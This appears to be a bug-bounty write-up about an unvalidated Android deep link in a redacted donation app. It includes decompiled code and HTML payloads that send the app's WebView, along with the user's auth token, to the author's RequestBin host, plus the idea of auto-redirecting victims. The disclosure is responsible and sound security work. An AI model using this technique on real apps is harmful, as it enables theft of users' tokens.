Deep linking has become a crucial aspect of modern mobile app development, allowing for seamless navigation within and between apps. However, this seemingly flawless feature of deep linking can become a point of exploitation due to misconfigurations in many Android apps.
In this article, I’m going to talk about deep linking and the bug I found that allowed me to steal another user’s access token. So, let’s just begin.
Have you ever clicked on a link and been taken straight to a specific part of an app? This is called deep linking, and it’s a big part of how many apps work.
A deeplink is a type of hyperlink that can take you directly to a specific page or function within an app instead of just opening the app’s homepage. Applications usually set the deeplink route by specifying them in AndroidManifest.xml file like this:
<activity android:name="com.anjay.DeepLinkActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="anjay" android:host="mantapgan"/>
<data android:pathPattern="/gaming"/>
</intent-filter>
</activity>
com.anjay.DeepLinkActivity
due to being exported<action android:name="android.intent.action.VIEW"/>
specifies the action of the intent, which is to view data.<category android:name="android.intent.category.DEFAULT"/>
specifies the default category for the intent.<category android:name="android.intent.category.BROWSABLE"/>
specifies that deeplink can access the component by the link on web browser or external application.anjay://mantapgan/gaming
Exported activities (indicated by the <activity android:exported=”true”>
attribute) are activities that can be accessed and launched by other apps on the device, and it’s a requirement for deep linking to work properly.
Apps often use WebView to show website content inside an application, such as displaying news articles from different sources in one news app. To make it work, URL must be passed into a WebView so they’ll know which webpage or web application to display.
The vulnerability I’m about to present is called Loading arbitrary URLs in a WebView, which happened when attacker injects arbitrary URL resulting in the application display the attacker’s website unintendedly. If JavaScript is enabled, then even an XSS attack can happen on the WebView. It means, The impact of this flaw may be vary, depending on the app.
Deeplinks are one of the features that can be the “gate” that allows malicious URLs to be injected into WebView function. In some cases, deeplinks can control WebView through parameters such as url
, extra_url
, link
, redirect
, or page
which will act as URIs that will be passed into the WebView loader. If we can modify these parameters that we have supplied and there is no validation for the URL, so that WebView is able to access any URL… then congratulations, it’s likely a bug 🎉🎉.
Validating the URL passed to a WebView is crucial to ensure that the intended website is opened and to prevent potential security risks such as phishing or malware attacks. Therefore, it is recommended that developers perform proper URL validation before loading the URL in the WebView component of their application.
The target is an Donation and Fundraising application from my country. Unfortunately, due to the non-disclosure policy let’s call the application as redacted okay? 😉
Initially, I used jadx-gui to decompile and analyze the APK file. After decompiling the APK, I examined the AndroidManifest.xml file to identify exported activities. There’s one of them that look like this:
<activity android:theme="@style/AppTheme.Transparent" android:name="com.redacted.android.ui.deeplink.DeepLinkActivity" android:exported="true">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="redacted.com"/>
<data android:path=""/>
<data android:path="/"/>
<data android:pathPattern="/mydonation"/>
<data android:pathPattern="/inbox"/>
<data android:pathPattern="/help"/>
<data android:pathPattern="/contact"/>
</intent-filter>
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="rdct"/>
</intent-filter>
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="redacted.onelink.me"/>
</intent-filter>
</activity>
Interesting. The one activity that is exported is none other than the deeplink activity itself. I took a note for all the schemes, hosts, and paths that might be useful for later. hen, I went ahead and took a closer look at the com.redacted.android.ui.deeplink.DeepLinkActivity
public final void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(((ActivityDeeplinkBinding) this.V.getValue()).getRoot());
Uri data = getIntent().getData();
if (data != null) {
String scheme = data.getScheme();
String host = data.getHost();
List<String> pathSegments = data.getPathSegments();
l.e("pathSegments", pathSegments);
String query = data.getQuery();
String uri = data.toString();
l.e("toString()", uri);
y1().d(new a.b.C0965a(scheme, host, query, uri, pathSegments));
}
}
Alright, so in this activity, our deeplink gets extracted into a set of data. For instance, if we have rdct://redacted.com/inbox?inboxid=12345
, then the components will be:
rdct
redacted.com
?inboxid=12345
rdct://redacted.com/inbox?inboxid=12345
inbox
”]After that, the data will be passed into a.b.C0965a()
as the function’s parameters. Let’s examine that one.
public static abstract class b {
public static final class C0965a extends b {
public C0965a(String str, String str2, String str3, String str4, List list) {
this.str = str;
this.str2 = str2;
this.list = list;
this.str4 = str4;
}
}
}public final void d(b bVar) {
l.f("intent", bVar);
if (bVar instanceof b.C0965a) {
b.C0965a c0965a = (b.C0965a) bVar;
String str = c0965a.str;
String str2 = c0965a.str2;
List<String> list = c0965a.list;
String str4 = c0965a.str4;
boolean z11 = true;
if (l.a(str, "https") && (l.a(str2, "m.redacted.com") || l.a(str2, "www.redacted.com") || l.a(str2, "redacted.com"))) {
if ((!list.isEmpty()) && h.f22766a.contains(list.get(0))) {
e(new AbstractC0963a.C0964a(n.f.a("rdct://urlweb?url=", str4)));
return;
}
lk.a aVar = this.f34788g;
aVar.getClass();
l.f("uriString", str4);
if (aVar.b(w5.f.e(str4)) == null) {
z11 = false;
}
if (!z11) {
e(new AbstractC0963a.C0964a(null));
e60.f.h(d.w(this), null, 0, new tu.b(this, str4, null), 3);
return;
}
e(new AbstractC0963a.C0964a(str4));
return;
}
lk.a aVar2 = this.f34788g;
aVar2.getClass();
l.f("uriString", str4);
if (aVar2.b(w5.f.e(str4)) == null) {
z11 = false;
}
if (!z11) {
e(new AbstractC0963a.C0964a(null));
e60.f.h(d.w(this), null, 0, new tu.b(this, str4, null), 3);
return;
}
e(new AbstractC0963a.C0964a(str4));
}
}
package lk;import java.util.List;
import kb.vd;
/* loaded from: classes2.dex */
public final class h {
/* renamed from: a reason: collision with root package name */
public static final List<String> f22766a = vd.s("career", "careers", "create-campaign", "forgot-password");
}
After examining the code and its function call, here’s what I found:
rdct://urlweb?url={uri}
That got me thinking: instead of trying to bypass the deeplink validation, what if we just directly use the second deeplink? I attached my RequestBin URL to the second deeplink and hosted the exploit on my server.
<html>
<a href="rdct://urlweb?url=https://eob50v516tpfupi.m.pipedream.net">exploit</a>
</html>
Then, I clicked the link through my mobile browser. The app was opened (even without asking for confirmation), but… nothing really happened. It just stayed on the home activity without opening any webview or something. However, when I put https://www.redacted.com in the url parameter, the webview opened. I assumed the validation still worked.
Half desperated *lol, i tried to enumerate other things on the app to find something useful. Back to AndroidManifest.xml, I noticed that there’s another activity that have its own webview functionality:
<activity android:theme="@style/AppTheme" android:name="com.redacted.android.subredacted.webview.SubredactedActivity" android:screenOrientation="portrait" android:windowSoftInputMode="adjustResize"/>
This “subredacted” is a program that operates within Company “redacted”, and its main focus is providing charitable insurance products. I dug deeper, code by code, looking for where this “subredacted” is called, and I found a bunch of strings like this:
This means that the “subredacted” is also being used as a host somewhere in the code! Therefore, I replaced the “urlweb” host with subredacted, and the final payload will look like this:
<html>
<a href="rdct://subredacted?url=https://eob50v516tpfupi.m.pipedream.net">exploit1</a>
</html>
Once again, clicking the deeplink immediately opened my redacted app. However, this time, it jumped directly into the subredacted’s webview page. Rather than displaying the subredacted’s page, it displayed the connection result for my request bin instead. Bingo!
I was already happy to discover that any URL can be opened with the app’s webview, indicating a flaw in the validation process. However, what was even more surprising was when I checked the request bin, an AUTH_TOKEN was there! It was passed in clear text as a GET parameter.
The auth_token supposedly used by the subredacted API to authorize users from the main app by parsing the value. By changing the url, the request will be sent from victim’s mobile app to that url WITH THEIR TOKEN STILL ATTACHED.
And just like that, I could set up a website that automatically redirects visitors to open the deeplink payload, causing their auth_token to be immediately leaked. I reported this vulnerability to the concerned enterprise via email, and they quickly responded, confirmed the issue, and fixed it.
Unfortunately, the authorization token that leaked from the subredacted API is different from the token used in the main redacted app. I couldn’t identify any subredacted feature that requires the use of an access token, apart from accessing the subredacted page. None of the features are associated with the user’s account on the main redacted page. Therefore, the most significant impact I found was an Open redirect and Sensitive Information Disclosure from user details within the leaked JWT.
Thank you for reading this article :)
Stay Curious!
24 Jan 2023 : Bug was discovered.
24 Jan 2023 : Bug was reported to company by email
29 Jan 2023 : Bug was fixed on app version 4.54.0
2 Feb 2023 : Bug Status Triaged as Medium Severity
16 Feb 2023 : Bounty paid (IDR xxx.xxx)
Thanks for reading! Check out these awesome references too!